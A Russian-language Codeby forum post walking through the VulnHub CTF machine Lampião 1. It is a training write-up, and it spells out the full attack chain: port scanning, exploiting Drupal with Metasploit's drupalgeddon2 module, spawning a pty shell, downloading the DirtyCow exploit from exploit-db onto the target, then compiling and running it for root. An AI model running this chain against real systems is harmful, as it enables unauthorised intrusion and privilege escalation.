• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

CTF Lampião 1: CTF Прохождение

Debug

Red Team
07.07.2017
217
445
BIT
0
Всем привет! Сегодня я хочу рассказать как решать задачу CTF размещенную на vulnhub.com под названием Lampião 1.
В описание автор заявляет, что прохождение не требует как-либо дополнительных знаний об эксплуатации машины.

Уровень легкий

Скачать образ вы можете отсюда:
В данном случае я не буду использовать Kali Linux, а буду использовать PentestBox под Windows.
Для тех кто не в танке PentestBox - это набор сборка утилит для пентеста. В этой сборке собраны все необходимые инструменты для сбора и анализа приложений, для аудита, реверса, форензике и много другое.

Прохождение
После того как мы загрузили и настроили машину, наша цель - получить IP. Сделать это можно несколькими способами, для этих целей подходит:
arp-scan -l, netdiscover
Я же поступил проще и зашел в админку роутера и посмотрел IP в аренде адреса DHCP

1545020635960.png


Обратите внимание: IP-адрес цели и компьютера-злоумышленника может отличаться в зависимости от конфигурации вашей сети.

Хорошо, зная IP мы можем просканировать нашу машины на наличие открытых портов. Будем использовать nmap
Команда: nmap -sV -p- 192.168.1.138.
Вот что мы получим:

pasted image 0.png


Теперь рассмотрим что значит -p - сканирование всех портов. [B][COLOR=rgb(65, 168, 95)]-sV[/COLOR][/B] - определение служб. Мы имеем 3 открытых порта(80, 22, 1898).
Начнем с порта 80. Перейдя по адресу http://192.168.1.138:80 мы увидим.

Безымянный.png


После недолгого анализа, я не нашел ничего интересного на этой странице. Также был просмотрен исходный код страницы, но там тоже не оказалось ничего полезного для нас. Мы можем также пробрутить директории. Для этого будем использовать dirsearch
Команда: python3 dirsearch.py -u http://192.168.1.138:80 -e html,php,txt,bak -x 403
где -u адрес -e расширения -x игнорирование страниц с кодом 403. К сожалению поиск не дал ничего. Хорошо, теперь наша задача посмотреть следующий порт - 1898.

Переходим по адресу http://192.168.1.138:1898

pasted image 0 (2).png


Ага, перед нами явно движок Drupal. Проверить это можно если перейти по адресу http://192.168.1.138:1898/CHANGELOG.txt

pasted image 0 (3).png


Теперь мы можем используя какой-нибудь сканер уязвимости проверить сайт на уязвимости. Лично я делать этого не стал, ведь после того как увидел, что версия Drupal 7.54 недолго думая я вспомнил про уязвимость DRUPALGEDDON2 (CVE-2018-7600) Работает на 7.х и 8.х и вплоть до 8.5.0. Также очень приятно для нас, что нам не надо искать exploit, все уже есть в metasploit Используя модуль drupal_drupalgeddon2 мы должны получить сессию.
[/COLOR]Команда: use exploit/unix/webapp/drupal_drupalgeddon2[COLOR=rgb(239, 239, 239)]

Посмотрим какие данные нам нужно заполнить show options
Установим значение RHOST, RPORT
Код:
set rhost 192.168.1.138
set rport 1898

1545021930450.png


Теперь получим командную оболочку - shell. Дальше получим интерактивную оболочку Python, чтобы мы могли запускать
команды в интерактивном режиме.
python -c 'import pty; pty.spawn (“/ bin / bash”)'
Получим информацию о версии ядра uname -a

1545022061061.png


Для тех, кто не совсем понял мы имеем дело со старой версией ядра. В таких задачах очень часто используют exploit DirtyCow(Грязная корова)

Найти exploit не трудно. С помощью команды wget скачаем exploit.wget https://www.exploit-db.com/download/40847.cpp (используется для загрузки exploit на целевой машине)

1545022249362.png


Теперь наша задача скомпилировать exploit. На самой странице можно найти код
g ++ -Wall -pedantic -O2 -std = c ++ 11 -pthread -o dcow 40847.cpp -lutil
Как объяснено выше и видно на скриншоте, мы загрузили exploit в каталог tmp целевой машины и скомпилировали его. Итак, теперь наш exploitготов к выполнению: ./dcow
После запуска exploit успешно выполняется на целевой машине и сообщает нам, что пароль root - «dirtyCowFun».
Затем мы использовали команду su , ввели пароль и получили root-доступ на целевой машине.

Поскольку задача состояла в том, чтобы получить доступ с правами root и прочитать файл flag.txt, мы почти готовы его выполнить. Давайте перейдем в корневой каталог и прочитаем файл flag.txt

1545022613574.png


На этом все)
 

Вложения

  • 1545020635960.png
    1545020635960.png
    9,9 КБ · Просмотры: 1 097
Последнее редактирование:

Сергей Попов

Кодебай
30.12.2015
4 693
6 588
BIT
347
Не используйте в статьях эти 2 цвета:
  • Этот мы используем для обозначения внешних ссылок
  • А этот для внутренних
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!